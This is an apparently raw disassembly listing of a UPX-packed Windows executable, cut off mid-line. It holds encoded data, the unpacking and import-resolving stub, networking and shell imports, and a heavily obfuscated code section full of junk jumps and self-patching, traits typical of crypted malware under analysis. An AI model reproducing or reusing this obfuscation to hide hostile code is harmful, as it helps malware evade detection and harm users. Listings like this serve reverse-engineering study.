6DF95E2Fh, 5B000D59h, 5D5E5B25h, 61B0D90Ch dd 3B434BC3h, 24ECAC33h, 0DB5BC388h, 3B290ECAh, 1460CAD9h dd 532B6D09h, 5A6C3265h, 483041Fh, 20A22013h, 18210AFDh dd 45491F36h, 1D86413Ah, 6F782EACh, 5020F543h, 1830087Dh dd 2DDD4C00h, 0C348161Bh, 4882132Bh, 205B8136h, 1BD81C5Ch dd 596C895Bh, 444A0846h, 42B0B104h, 5CB44654h, 0A587E16Ch dd 9706072Fh, 466CE34h, 234906E7h, 56F0B887h, 3631650Bh dd 9F353588h, 65FD8763h, 4E534D77h, 2DF94520h, 17490Eh dd 0B844B2A6h, 3962B72Ch, 0F3B0B61Dh, 63393138h, 232D31C7h dd 1356612h, 2B1F7174h, 35F6EC2Eh, 65653765h, 4F633030h dd 2AB9CCD5h, 5C7CB617h, 412E054Ch, 35642702h, 452E3033h dd 64C731A4h, 85B7825h, 0F24615Dh, 43767B73h, 6F1E3FF1h dd 0D02DB15Ah, 0F3398C11h, 30496B12h, 148CB636h, 60652380h dd 60A90DD6h, 7456B83Eh, 0DA178204h, 2BF42175h, 4218202Bh dd 6E277283h, 8A483972h, 13758182h, 106D4E53h, 3550BB71h dd 664F8563h, 18726108h, 6D05A958h, 73681CB4h, 54BF1801h dd 60A16E1Eh, 57851821h, 0DB58BD13h, 7665560Eh, 96DB5805h dd 87648284h, 0B716A22Bh, 3C53715Ah, 0B4365C8Bh, 0B5BB2D80h dd 7075EA2Ch, 0DCCAC320h, 74DFA660h, 109C4B5Dh, 135CCC0Ah dd 6A6C4AD7h, 17909188h, 0D34CDAB7h, 38B8574h, 9028303Ch dd 0FB0641h, 0C14071Ch, 641C9C83h, 0ECD9F400h, 0C82F90E4h dd 0D80BE020h, 6C190641h, 0BCC807D0h, 90641935h, 4EA4ACB4h dd 34EFC9Eh, 90D99873h, 641980D9h, 747C4190h, 0B0727268h dd 58435C01h, 20C850D9h, 40480C83h, 0C80D838h, 1C283032h dd 0C83219Fh, 40C1432h, 0D9C9800Ch, 0BF407D8h, 90018200h dd 45E8DE4Bh, 8C433330h, 61204349h, 0CBA2C351h, 785158C3h dd 0D764A7A0h, 0E4E6D9Fh, 20077536h, 6C632D75h, 2B8407Bh dd 7BC2980h, 0B128ED32h, 13BB7973h, 8992432Dh, 0AADB7A36h dd 48530B3Ah, 0D639DC2Dh, 983FC689h, 6C00350Bh, 6900702Fh dd 8BDBE805h, 278AC566h, 0CE686C02h, 2E0761C1h, 0E8505BCCh dd 8A96F905h, 62D0779h, 90F344CFh, 752074B3h, 6D4597BCh dd 0E78BD42h, 6E48095Fh, 3D07B3D8h, 8908133Dh, 6F014836h dd 4F3D0F13h, 1BB6620Bh, 4D3A2015h, 0DEFA8544h, 796669FBh dd 4D07A350h, 0FB304133h, 700B485Eh, 0D9BE5A07h, 4F6D3B9Bh dd 2F705308h, 0C54AD4Ch, 49F8061Ch, 5484D64h, 26623AA6h dd 3EC4F7ACh, 77327548h, 0CB60E65h, 8E6C8096h, 136E7342h dd 8DD14C08h, 534DD367h, 28337B22h, 3089E403h, 0FB050BFEh dd 0B8A0BAE6h, 91C499ECh, 0FFD43B03h, 790F4CFFh, 35C08B1h dd 0E3F4F66Fh, 0A8C30C12h, 12FBCA1h, 18B28248h, 61C277DEh dd 0FDC6FF44h, 0EBF7D7E6h, 23AFF7EBh, 0B594532Eh, 0DA00CAAAh dd 0FF25442Ah, 0B881B1E1h, 0EBF7BDh, 0A78247FFh, 8E96622Eh dd 0A48BBBA7h, 0A6E6E6E7h, 84A88F9Ah, 0D356DAA2h, 0F30A2482h dd 0BB80B6FFh, 0B1E6A7B0h, 0FE85DE92h, 712DFBFh, 69658782h dd 3CAF070h, 0EE8396C1h, 0FE1652Eh, 6C45E068h, 0EE700179h dd 0A85145CDh, 7F2EF73h, 8A275CA3h, 0CC4D706Eh, 0DE001E58h dd 3A490F20h, 8A45DC8Dh, 25780525h, 4BFF3378h, 3069B81h dd 0B3D60FBh, 1B548FDFh, 527F8E10h, 2B6597D1h, 0AFBC19D1h dd 56413F2Eh, 6081AA5Fh, 655F1D03h, 60840F0h, 1F37AC36h dd 1A0A39A8h, 1E875FDCh, 0A9200A21h, 1051541Eh, 51B3756h dd 57E0C44Dh, 40476A60h, 65A88415h, 0F5408BF1h, 4C0E4DCFh dd 7B61636Fh, 4109ED0Fh, 444E53A5h, 0EAA90569h, 0AD638836h dd 446C1579h, 5B660A93h, 0E72F6E22h, 6068A325h, 4CF65D1Fh dd 9229BD0h, 2C0C4FA9h, 195BD142h, 77DE3B76h, 4C010D44h dd 61726269h, 1D4440Dh, 417B22F5h, 8B5B62C7h, 69A40F5Ah dd 6F430C10h, 0D97B5117h, 4C647970h, 0A1064A61h, 0DB7B378h dd 7E697257h, 3D9B7070h, 506876D9h, 5097688Eh, 0D97C7069h dd 365BD516h, 0BD38124Fh, 305B2D9Bh, 65500F20h, 0D5476B65h dd 641AF64Bh, 66699043h, 44326A85h, 537A9952h, 0AFA830D1h dd 50646E87h, 13C14EBDh, 0A03584B0h, 0C3CBC4Fh, 614339BBh dd 0C010164Dh, 6706529h, 60024D96h, 4A68F454h, 0E28A92C2h dd 5B73F657h, 62FAA621h, 6544ACC0h, 908AA210h, 8FD58584h dd 0E9F60D51h, 14354D4h, 0B0B06E55h, 616DFFB3h, 65695670h dd 0B6664F77h, 54CF0E4Dh, 18CB96E4h, 0D547C7E7h, 627A6DACh dd 0AF49A14Dh, 75427501h, 6241443Ch, 0A80E186Ah, 334EA053h dd 1503D413h, 2C680EB4h, 63F90BAAh, 1F01E46Bh, 0CFA9ED50h dd 6E470350h, 6BB414ECh, 75713A31h, 37681A20h, 6531A58Ch dd 427349D9h, 0A12D92B4h, 14E86F45h, 108C20CCh, 9DEF5EAAh dd 490DD7B2h, 2A55452Fh, 40C67544h, 5D6F0588h, 824C3359h dd 4D11BC21h, 0B2D2E265h, 630BD3C6h, 76160987h, 5A0B635Bh dd 6D4DD576h, 0C6615670h, 61D44730h, 0A56223D6h, 90876D91h dd 97A57644h, 9A71B545h, 670900EDh, 0C2ADBDC1h, 377592C3h dd 3F87CE0Eh, 39103602h, 6879654Bh, 78458B0Dh, 111E330Eh dd 0CC259B0Dh, 32B80FB6h, 0D8CB440Dh, 0E97355A3h, 0D7585266h dd 45627250h, 74DB6E6Dh dd 79AC1C14h, 526EE229h, 410F6D61h, 586CC763h, 24D9A52Bh dd 66B58B59h, 0C058BDB3h, 5F6114FAh, 9C15CED9h, 0F006C92Bh dd 2C0AF294h, 43E196B4h, 2BA87878h, 7F707F7Eh, 6A27C409h dd 0AE313F3Fh, 40454155h, 0E35C1358h, 2A295AB9h, 6681990Eh dd 0EA0CDA28h, 8C06D0Ah, 84DCD1EFh, 2482364h, 808FB106h dd 73766C9Bh, 2A66AB6Eh, 62D6DEF7h, 77957F6Fh, 0F910323Bh dd 20B37FFEh, 59403274h, 58415041h, 0D5A4049h, 7B587B33h dd 0D0E58AEh, 625F2547h, 316BACD7h, 0E859095Ch, 0FBB6650Fh dd 5F7676B6h, 11339268h, 667A690Eh, 0D8640368h, 691D069Ah dd 0CD96D131h, 637536C6h, 98F56E73h, 0E73A8A57h, 73070213h dd 0B9C30F95h, 38615B2Eh, 54736669h, 9D0EC106h, 0D50630A1h dd 0AC516306h, 7EAF735h, 407CA77h, 0AE75C957h, 0E235DAC5h dd 6325071Dh, 0CC97877Bh, 1D75B33Bh, 2C0C0720h, 3D55DEEBh dd 59B6946Dh, 9413742Eh, 5AE699Ch, 0EA2C801h, 0C8FFB6CDh dd 0BAD0120Bh, 0F44188D6h, 171A6DC4h, 0CD381D04h, 81C9D81Eh dd 0D3A22182h, 0BBF602C8h, 9134E8ABh, 706C4177h, 40470E05h dd 97AF4E63h, 4181C612h, 219177B0h, 60C52D54h, 3B496B58h dd 41EFBA5Eh, 4E4D08B4h, 0F48C2968h, 7B659659h, 1970204h dd 59651516h, 13026596h, 96170A05h, 0C965965h, 12386F33h dd 65965903h, 34097059h, 596D0B06h, 8106596h, 0FD117414h dd 0F28EDB2Ch, 49415357h, 239FF25h, 0FF210D73h, 501649E5h dd 3014C45h, 3901F000h, 0E91D9E46h, 0B010F97h, 820601h dd 67F11382h, 0E882D937h, 707C100Bh, 24B0D0Bh, 75602C4h dd 818A3DF6h, 10284F14h, 82C2C207h, 2766E58h, 73CB5584h dd 856968A0h, 70A7EC51h, 41B6F202h, 0D7DD905Fh, 4EB5FE7h dd 91F0158h, 722EE012h, 17802BC0h, 0FB0E4CECh, 58B7D92Bh dd 4002D973h, 9827262Eh, 0D3494C71h, 74608034h, 0D97C00C0h dd 76466830h, 1F703h, 0 dd 12000000h, 0FFh, 0 ; --------------------------------------------------------------------------- loc_421AA0: ; CODE XREF: hjohnhn9:loc_425071j pusha mov esi, offset dword_417000 lea edi, [esi-16000h] push edi or ebp, 0FFFFFFFFh jmp short loc_421AC2 ; --------------------------------------------------------------------------- align 8 loc_421AB8: ; CODE XREF: UPX1:loc_421AC9j mov al, [esi] inc esi mov [edi], al inc edi loc_421ABE: ; CODE XREF: UPX1:00421B56j ; UPX1:00421B6Dj add ebx, ebx jnz short loc_421AC9 loc_421AC2: ; CODE XREF: UPX1:00421AB0j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421AC9: ; CODE XREF: UPX1:00421AC0j jb short loc_421AB8 mov eax, 1 loc_421AD0: ; CODE XREF: UPX1:00421ADFj ; UPX1:00421AEAj add ebx, ebx jnz short loc_421ADB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421ADB: ; CODE XREF: UPX1:00421AD2j adc eax, eax add ebx, ebx jnb short loc_421AD0 jnz short loc_421AEC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_421AD0 loc_421AEC: ; CODE XREF: UPX1:00421AE1j xor ecx, ecx sub eax, 3 jb short loc_421B00 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_421B72 mov ebp, eax loc_421B00: ; CODE XREF: UPX1:00421AF1j add ebx, ebx jnz short loc_421B0B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B0B: ; CODE XREF: UPX1:00421B02j adc ecx, ecx add ebx, ebx jnz short loc_421B18 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B18: ; CODE XREF: UPX1:00421B0Fj adc ecx, ecx jnz short loc_421B3C inc ecx loc_421B1D: ; CODE XREF: UPX1:00421B2Cj ; UPX1:00421B37j add ebx, ebx jnz short loc_421B28 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B28: ; CODE XREF: UPX1:00421B1Fj adc ecx, ecx add ebx, ebx jnb short loc_421B1D jnz short loc_421B39 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_421B1D loc_421B39: ; CODE XREF: UPX1:00421B2Ej add ecx, 2 loc_421B3C: ; CODE XREF: UPX1:00421B1Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_421B5C loc_421B4D: ; CODE XREF: UPX1:00421B54j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_421B4D jmp loc_421ABE ; --------------------------------------------------------------------------- align 4 loc_421B5C: ; CODE XREF: UPX1:00421B4Bj ; UPX1:00421B69j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_421B5C add edi, ecx jmp loc_421ABE ; --------------------------------------------------------------------------- loc_421B72: ; CODE XREF: UPX1:00421AFCj pop esi mov edi, esi mov ecx, 9C1h loc_421B7A: ; CODE XREF: UPX1:00421B81j ; UPX1:00421B86j mov al, [edi] inc edi sub al, 0E8h loc_421B7F: ; CODE XREF: UPX1:00421BA4j cmp al, 1 ja short loc_421B7A cmp byte ptr [edi], 6 jnz short loc_421B7A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_421B7F lea edi, [esi+1F000h] loc_421BAC: ; CODE XREF: UPX1:00421BCEj mov eax, [edi] or eax, eax jz short loc_421BF7 mov ebx, [edi+4] lea eax, [eax+esi+21000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+210A0h] xchg eax, ebp loc_421BC9: ; CODE XREF: UPX1:00421BEFj mov al, [edi] inc edi or al, al jz short loc_421BAC mov ecx, edi jns short near ptr loc_421BDA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_421BDA: ; CODE XREF: UPX1:00421BD2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+210A4h] or eax, eax jz short loc_421BF1 mov [ebx], eax add ebx, 4 jmp short loc_421BC9 ; --------------------------------------------------------------------------- loc_421BF1: ; CODE XREF: UPX1:00421BE8j call dword ptr [esi+210A8h] loc_421BF7: ; CODE XREF: UPX1:00421BB0j popa jmp loc_4167F1 ; --------------------------------------------------------------------------- align 800h UPX1 ends ; Section 3. (virtual address 00022000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00022000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 422000h dword_422000 dd 3 dup(0) ; DATA XREF: fzj3qwht:0042A15Co ; sub_432992+9o dd 220E0h, 220A0h, 3 dup(0) dd 220EDh, 220B0h, 3 dup(0) dd 220FAh, 220B8h, 3 dup(0) dd 22105h, 220C0h, 3 dup(0) dd 22112h, 220C8h, 3 dup(0) dd 2211Eh, 220D0h, 3 dup(0) dd 22129h, 220D8h, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 a@W db '@¹Äw',0 align 10h dd 7713BC68h, 0 aClbw db '—‹Bw',0 align 10h aJW db 'jÉÔw',0 align 4 aTLq db 'â]«q',0 align 10h aKernel32_dll_0 db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aOleaut32_dll db 'OLEAUT32.dll',0 aShell32_dll db 'SHELL32.dll',0 aUser32_dll db 'USER32.dll',0 aWs2_32_dll_0 db 'WS2_32.dll',0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h dd 65726464h, 7373h, 74697845h, 636F7250h, 737365h, 65520000h dd 6F6C4367h, 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h dd 75636578h, 416574h, 73770000h, 6E697270h, 416674h, 39Ch dup(0) UPX2 ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 00023000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00023000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute hjohnhn9 segment para public 'CODE' use32 assume cs:hjohnhn9 ;org 423000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing add esi, 0F2008C74h jmp sub_426098 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42300D: ; CODE XREF: hjohnhn9:004239C5j mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] mov [ebp-20h], eax jmp loc_427F49 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_423022: ; CODE XREF: sub_4287BF-1571j jmp loc_42369A ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_423027: ; CODE XREF: sub_426475+17j jmp loc_4234D8 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42626F loc_42302C: ; CODE XREF: sub_42626F+13j jmp loc_4242D9 ; END OF FUNCTION CHUNK FOR sub_42626F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42441D loc_423031: ; CODE XREF: sub_42441D+4j ; sub_425029:loc_426AD7j mov eax, [ebp-0Ch] push offset sub_42303E jmp nullsub_8 ; END OF FUNCTION CHUNK FOR sub_42441D ; =============== S U B R O U T I N E ======================================= sub_42303E proc near ; DATA XREF: sub_42441D-13E9o ; FUNCTION CHUNK AT 00424896 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427119 SIZE 00000014 BYTES movzx eax, byte ptr [eax] loc_423041: ; CODE XREF: sub_426A78:loc_426588j add [ebp-8], eax mov eax, [ebp-8] shl eax, 0Ah jmp loc_424896 sub_42303E endp ; =============== S U B R O U T I N E ======================================= sub_42304F proc near ; DATA XREF: sub_427792-24DBo arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042306D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004237EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424218 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004243F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424A33 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424D8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424F43 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004260B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426833 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426AE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C4F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426EF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427102 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004273B2 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004274F9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428079 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004282D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428AA2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428F45 SIZE 00000005 BYTES mov ecx, [ebx+ecx+0Ch] loc_423053: ; CODE XREF: sub_4287BF+Ej or ecx, ecx jz loc_4273B2 mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh jmp loc_4282D3 sub_42304F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_42306D: ; CODE XREF: sub_42304F:loc_426C4Fj mov ebx, [eax+18h] jmp loc_4260B8 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_423075: ; CODE XREF: hjohnhn9:00427F6Aj adc ebx, 0EA4171D6h popf jp loc_423CFC ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_423082: ; CODE XREF: sub_425BD2:loc_425F81j jmp loc_42476D ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_423087: ; CODE XREF: sub_4236A7+26DFj pop ebx sub ebx, 0CE90282Ch xor ebx, 6D2D7DF6h or ebx, 7773C380h jmp loc_4238EB ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42309F: ; CODE XREF: sub_42466E:loc_4289F8j jnz loc_425DA9 loc_4230A5: ; CODE XREF: hjohnhn9:00424693j jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- push 0F1F2C47Eh xchg ecx, ebx test ecx, 9233CFC0h jmp loc_42822C ; --------------------------------------------------------------------------- loc_4230BC: ; DATA XREF: sub_427C9B-35EAo add edx, ebp add edx, 3EA0911Dh call sub_42466E ; START OF FUNCTION CHUNK FOR sub_424631 loc_4230C9: ; CODE XREF: sub_424631+464Ej jmp loc_423180 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4230CE: ; CODE XREF: sub_423B05:loc_424B45j jz loc_423A31 jnz loc_423505 cdq jmp loc_423A2B ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_4230E0 proc near ; CODE XREF: sub_4275A3:loc_426134p ; hjohnhn9:00427579j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425D9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042772C SIZE 0000001D BYTES xchg edi, [esp+0] pop edi push 7B102949h pop ebx rol ebx, 2 jmp loc_425D9E sub_4230E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4230F2 proc near ; CODE XREF: sub_42855B:loc_427DCDj push ebp push offset sub_427BCE jmp nullsub_108 sub_4230F2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_4230FD: ; CODE XREF: sub_426638:loc_427F5Fj xor edx, ds:4000F8h cmp edx, 51638979h jmp loc_427F44 ; END OF FUNCTION CHUNK FOR sub_426638 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E1 loc_42310F: ; CODE XREF: sub_4241E1+Cj jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_4241E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_423114: ; CODE XREF: sub_4250FC-3DCj mov ecx, eax pop eax or ecx, 9ED4A6B5h rol ecx, 0Ah jmp loc_427D19 ; END OF FUNCTION CHUNK FOR sub_4250FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_423126: ; CODE XREF: sub_426A30-2266j jmp loc_426BBA ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_42312B: ; CODE XREF: sub_424161+440j ; DATA XREF: sub_428192:loc_4247CFo pop ebp mov eax, ds:dword_423950 or eax, eax push offset sub_4248B1 jmp nullsub_36 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- adc edi, eax jmp sub_424D38 ; --------------------------------------------------------------------------- loc_423145: ; CODE XREF: hjohnhn9:00427A97j lea eax, nullsub_1 mov byte ptr [eax], 0C3h ; START OF FUNCTION CHUNK FOR sub_42325E loc_42314E: ; CODE XREF: sub_42325E:loc_425205j push ecx push 6CA47921h jmp loc_4276C0 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- mov [ebp-8], eax push eax push 38908B4Ah xchg edi, [esp] jmp loc_425F6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_42316A: ; CODE XREF: sub_426671-268Dj sub edx, 7A4EC4C0h add edx, 0AC572996h push offset loc_428C2D jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423180: ; CODE XREF: sub_424631:loc_4230C9j mov eax, [ebp+8] push offset loc_426610 jmp loc_42368D ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42318D: ; CODE XREF: sub_4287BF-1221j jnz loc_42867B mov eax, [ebp-4] inc eax mov eax, [eax] add eax, [ebp-4] jmp loc_42866C ; END OF FUNCTION CHUNK FOR sub_4287BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D6A loc_4231A3: ; CODE XREF: sub_427D6A+12j jmp loc_425121 ; END OF FUNCTION CHUNK FOR sub_427D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_4231A8: ; CODE XREF: sub_4275A3-18CCj jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; =============== S U B R O U T I N E ======================================= sub_4231AD proc near ; CODE XREF: hjohnhn9:004231EBj ; sub_4284CB-4843p ; FUNCTION CHUNK AT 004249DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424CEC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004265C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004268E5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426A62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427555 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427FA4 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx jz loc_427555 mov eax, [ebp-4] mov al, [eax] and al, 0F6h jmp loc_426A62 sub_4231AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_4231C3: ; CODE XREF: sub_426475+A2Cj jge loc_425B75 xor ecx, 0D2F1B6E9h jmp loc_425B6B ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4231D4: ; CODE XREF: sub_42325E+42ECj jz loc_428EBF loc_4231DA: ; CODE XREF: hjohnhn9:00423FAFj jge loc_427D13 jmp loc_4269A0 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- xor ecx, 61C8DFD6h jmp sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4231F0: ; CODE XREF: sub_424161:loc_429022j or eax, 0C35DC7D7h cmp eax, 7D7341B6h jmp loc_424D68 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_423201: ; CODE XREF: sub_423D67-672j pop ebx xchg ebx, [esp-4+arg_0] push eax push 458343C8h pop eax and eax, 0FDA01D0Dh call sub_4265A0 ; END OF FUNCTION CHUNK FOR sub_423D67 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_423217: ; CODE XREF: sub_426A78:loc_427436j jz loc_426579 jmp loc_4250D5 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423222: ; CODE XREF: sub_423B05:loc_4238B5j test eax, eax jnz loc_4250B4 jmp loc_42862B ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_42322F: ; CODE XREF: sub_42873F+17j neg eax cmp ax, 0A5B3h jnz loc_428748 retn ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42323C: ; CODE XREF: sub_426354+16C7j ; sub_427C9B+56j jmp loc_4262EB ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_423241: ; CODE XREF: sub_426211+16j jmp loc_4250CF ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_423246: ; CODE XREF: sub_427486-1357j jmp loc_427921 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_42324B: ; CODE XREF: sub_42873F:loc_428748j sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jmp loc_4252D4 ; END OF FUNCTION CHUNK FOR sub_42873F ; =============== S U B R O U T I N E ======================================= sub_42325E proc near ; DATA XREF: sub_423CDB+49D8o var_18 = dword ptr -18h ; FUNCTION CHUNK AT 0042314E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004231D4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423283 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A82 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423B46 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00423DF6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00423E36 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00424261 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425205 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004269A0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426DF3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426F50 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FE2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427140 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427535 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004276C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427BBD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428372 SIZE 